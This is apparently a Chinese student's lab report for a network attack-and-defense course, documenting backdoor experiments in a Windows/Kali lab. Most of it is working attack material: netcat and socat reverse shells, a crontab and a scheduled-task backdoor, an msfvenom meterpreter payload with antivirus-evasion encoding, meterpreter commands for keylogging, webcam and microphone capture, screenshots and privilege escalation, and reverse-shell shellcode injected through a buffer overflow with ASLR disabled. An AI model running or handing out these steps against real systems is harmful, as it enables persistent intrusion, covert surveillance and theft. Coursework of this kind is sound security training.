标签:写入 问题 code conf 安全软件 机器码 组合 hot 了解
2.1.1 Win获得Linux Shell
在Windows下使用ipconfig
查看本机IP
使用ncat.exe程序ncat.exe -l -p 5322
打开监听,并检查windows和linux的连通性
在kali中反弹连接Windows,ncat 192.168.132.1 5322 -e /bin/sh
,使用-e
选项执行shell程序
windows下获得一个linux shell,可运行任何指令,如ls
2.1.2 Linux获得Win Shell
在kali中先安装net-tools,然后才能使用使用ifconfig
命令查看IP
打开监听nc -l -p 5322
在Windows中反弹连接kali,ncat.exe -e cmd.exe 192.168.132.138 5322
kali成功获得Windows的命令提示
*2.1.3 Mac获取Win shell
*2.1.4 Win获取Mac Shell
*2.1.5 Mac获取Linux Shell
*2.1.6 Linux获取Mac Shell
2.1.7 Netcat扩展知识
使用nc传输数据
ncat.exe -l 5322
nc 192.168.132.1 5322
使用nc传输文件(将文件从kali传给Windows)
-p
使用的payload,payload翻译为有效载荷,就是被运输有东西。这里windows/meterpreter/reverse_tcp就是一段shellcode。-x
使用的可执行文件模板,payload(shellcode)就写入到这个可执行文件中。-e
使用的编码器,用于对shellcode变形,为了免杀。-i
编码器的迭代次数。如上即使用该编码器编码5次。-b
badchar是payload中需要去除的字符。LHOST
是反弹回连的IPLPORT
是回连的端口-f
生成文件的类型>
输出到哪个文件crontab -e
指令增加一条定时任务,-e
表示编辑。因为是第一次编辑,故提示选择编辑器,这里选择的是3
最后一行添加58 * * * * /bin/netcat 192.168.132.1 5322 -e /bin/sh,意思是在每个小时的第58分钟反向连接Windows主机的5322端口
linux在58分钟时连接windows,这是一个反弹连接式后门,监听的windows连接后可获得shell
我的电脑
,点击管理
点击任务计划程序
,再点击创建任务
填写任务名,新建一个触发器
新建操作,并在程序或脚本中选择socat.exe
路径,添加参数一栏填写tcp-listen:5322 exec:cmd.exe,pty,stderr
创建好后显示任务准备就绪
到达21:25后,再次打开时,可以发现创建的任务正在运行
自行弹出一个cmd窗口
在kali中输入输入指令socat - tcp:192.168.132.1:5322
,完成连接,获得windows shell
linux使用msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.132.138 LPORT=5322 -f exe > backdoor5322.exe
生成后门程序
windows使用ncat.exe -lv 5322 > backdoor5322.exe
,查看连接状态
linux使用nc 192.168.132.1 5322 < backdoor5322.exe
传输后门程序,传输成功后windows会给出提示
传送接收文件成功
msfconsole
进入msf控制台,并键入以下命令:使用监听模块,设置payload:use exploit/multi/handler
使用和生成后门程序时相同的payload:set payload windows/meterpreter/reverse_tcp
linux的IP地址:set LHOST 192.168.132.138
使用相同的端口:set LPORT 5322
查看设置:show options
进入msf控制台后的界面:
输入指令后的界面:
linux使用exploit
开始监听,并在windows中运行后门程序,linux成功获得windows的shell
使用record_mic
指令可以截获一段音频
使用webcam_snap
指令可以使用摄像头进行拍照
使用keyscan_start
指令记录下击键的过程,使用keyscan_dump
指令读取击键记录
使用screenshot
指令可以进行截屏
使用getuid
指令查看当前用户,使用getsystem
指令进行提权操作
linux/x86 - Reverse
下载反弹连接的shellcode并提取其中的机器码:\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc3\xb8\x80\xff\xff\xfe\x83\xf0\xff\x50\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\xb2\x10\x31\xc0\x66\xb8\x6a\x01\xcd\x80\x85\xc0\x75\x24\x31\xc9\xb1\x02\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xb3\x01\x31\xc0\xb0\x01\xcd\x80
linux使用echo "0" > /proc/sys/kernel/randomize_va_space
关闭地址随机化
perl
生成的字符串存储到文件input_shellcode中:perl -e 'print "A"x 32;print"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc3\xb8\x80\xff\xff\xfe\x83\xf0\xff\x50\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\xb2\x10\x31\xc0\x66\xb8\x6a\x01\xcd\x80\x85\xc0\x75\x24\x31\xc9\xb1\x02\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xb3\x01\x31\xc0\xb0\x01\xcd\x80"' > input_shellcode
打开一个终端使用(cat input_shellcode;cat) | ./pwn1
注入这段攻击buf,再开另外一个终端使用ps -ef | grep pwn1
找到pwn1
的进程号,之后启动gdb
使用attach
调试,使用disassemble foo
查看ret
的地址,设置断点,然后在另外一个终端中按下回车,再在gdb
输入c
继续运行
使用info r esp
查看栈顶指针所在的位置,并查看改地址存放的数据
存放的地址为0xffffd38c
,计算出shellcode地址就是0xffffd38c+4
,即0xffffd390
在另一个终端修改input_shellcode
并使用cat input_shellcode;cat) | ./pwn1
运行pwn1
文件
另一个终端得到shell开始运行
2019-2020-2 20175322周弋鸿《网络对抗技术》Exp2 后门原理与实践
标签:写入 问题 code conf 安全软件 机器码 组合 hot 了解
原文地址:https://www.cnblogs.com/zyh5322/p/12516752.html